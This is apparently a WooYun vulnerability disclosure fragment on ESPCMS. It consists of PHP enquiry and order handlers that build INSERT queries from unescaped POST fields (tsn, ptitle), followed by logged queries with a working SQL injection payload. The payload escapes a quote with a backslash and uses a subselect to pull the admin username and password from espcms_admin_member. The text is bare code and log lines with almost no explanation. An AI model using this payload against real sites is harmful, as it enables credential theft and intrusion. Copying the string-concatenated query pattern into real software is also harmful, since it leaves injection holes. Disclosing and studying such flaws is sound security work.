WooYun.org

$ptitle = $this->fun->accept('ptitle', 'P');





		$tsn = $this->fun->accept('tsn', 'P');





		$did = $this->fun->accept('did', 'P');





		if (empty($did) || empty($amount) || empty($ptitle)) {





			$enquirylink = $this->get_link('enquiry', array(), admin_LNG);





			$this->callmessage($this->lng['enquiry_input_err'], $enquirylink, $this->lng['enquiry_into_listbotton']);





		}





		if (!preg_match("/^\w+((-\w+)|(\.\w+))*\@[A-Za-z0-9]+((\.|-)[A-Za-z0-9]+)*\.[A-Za-z0-9]+$/i", $email)) {





			$this->callmessage($this->lng['email_err'], $_SERVER['HTTP_REFERER'], $this->lng['gobackbotton']);





		}





		$enquirysn = date('YmdHis') . rand(100, 9999);





		$db_table = db_prefix . 'enquiry';





		$db_table2 = db_prefix . 'enquiry_info';





		$addtime = time();





		$db_field = 'enquirysn,userid,linkman,sex,country,province,city,district,address,zipcode,tel,fax,mobile,email,content,isclass,addtime,edittime';





		$db_values = "'$enquirysn',$userid,'$linkman',$sex,$country,$province,$city,$district,'$address','$zipcode','$tel','$fax','$mobile','$email','$content',0,$addtime,0";





		$this->db->query('INSERT INTO ' . $db_table . ' (' . $db_field . ') VALUES (' . $db_values . ')');





		$insert_id = $this->db->insert_id();





		$db_values = '';





		$arraycount = count($did) - 1;





		foreach ($did as $key => $value) {





			$value = intval($value);





			$amount[$key] = intval($amount[$key]);











			if ($key == $arraycount) {





				$db_values.= "($insert_id,$value,'$tsn[$key]','$ptitle[$key]',$amount[$key],'')";





			} else {





				$db_values.= "($insert_id,$value,'$tsn[$key]','$ptitle[$key]',$amount[$key],''),";





			}





		}

查询时间	查询语句


2015/8/30 0:46	INSERT INTO espcms_enquiry_info (eid,did,tsn,title,amount,comment) VALUES (2,36,'\',',(SELECT CONCAT(USERNAME,0x7c,PASSWORD) FROM espcms_admin_member LIMIT 1 ),1,1)#',1,'')

if ($uncartid && is_array($uncartid) && !empty($ordersncode) && $cookiceprice == $ordersncode) { $ptitle = $this->fun->accept('ptitle', 'P'); $tsn = $this->fun->accept('tsn', 'P'); $bprice = $this->fun->accept('bprice', 'P'); $oprice = $this->fun->accept('oprice', 'P'); $did = $this->fun->accept('did', 'P'); $amount = $this->fun->accept('amount', 'P'); $countprice = $this->fun->accept('countprice', 'P'); if (empty($did) || empty($bprice) || empty($amount) || empty($countprice) || empty($opid) || empty($osid)) { $buylink = $this->get_link('order', array(), admin_LNG); $this->callmessage($this->lng['order_input_err'], $buylink, $this->lng['oder_buy_goback']); } if (!preg_match("/^\w+((-\w+)|(\.\w+))*\@[A-Za-z0-9]+((\.|-)[A-Za-z0-9]+)*\.[A-Za-z0-9]+$/i", $email)) { $this->callmessage($this->lng['email_err'], $_SERVER['HTTP_REFERER'], $this->lng['gobackbotton']); } $payprice = 0; $shipprice = 0; $payread = !empty($opid) ? $this->get_payplug_view($opid) : 0; $shipprice = !empty($osid) ? $this->get_shipplug_view($osid, 'price') : 0; $shipprice = floatval($shipprice); if ($payread['payis'] > 0) { $payread['payis'] = floatval($payread['payis']); $payprice = ($payread['payis'] / 100) * $discount_productmoney; } $orderamount = $discount_productmoney + $payprice + $shipprice; $order_snfont = $this->CON['order_snfont']; $ordersn = $order_snfont . date('YmdHis') . rand(100, 9999); $db_table = db_prefix . 'order'; $db_table2 = db_prefix . 'order_info'; $addtime = time(); $db_field = 'ordersn,userid,ordertype,osid,opid,shippingsn,paysn,consignee,country,province,city,district,address, zipcode,tel,mobile,email,sendtime,invpayee,invcontent,content,treatnote,paytime,shippingtime,productmoney,shippingmoney, paymoney,orderamount,discount,integral,addtime'; $db_values = "'$ordersn',$userid,1,$osid,$opid,'','','$consignee',$country,$province,$city,$district,'$address', '$zipcode','$tel','$mobile','$email','$sendtime','$invpayee','$invcontent','$content','',0,0,$productmoney,$shipprice, $payprice,$orderamount,$discountmoney,0,$addtime"; $this->db->query('INSERT INTO ' . $db_table . ' (' . $db_field . ') VALUES (' . $db_values . ')');

2015/8/30 1:05	INSERT INTO espcms_order_info (oid,did,tsn,title,oprice,bprice,countprice,amount,inventory) VALUES (4,36,'\',',(SELECT CONCAT(USERNAME,0x7c,PASSWORD) FROM espcms_admin_member LIMIT 1 ),1,1,1,1,1)#',0,1,1,1,1)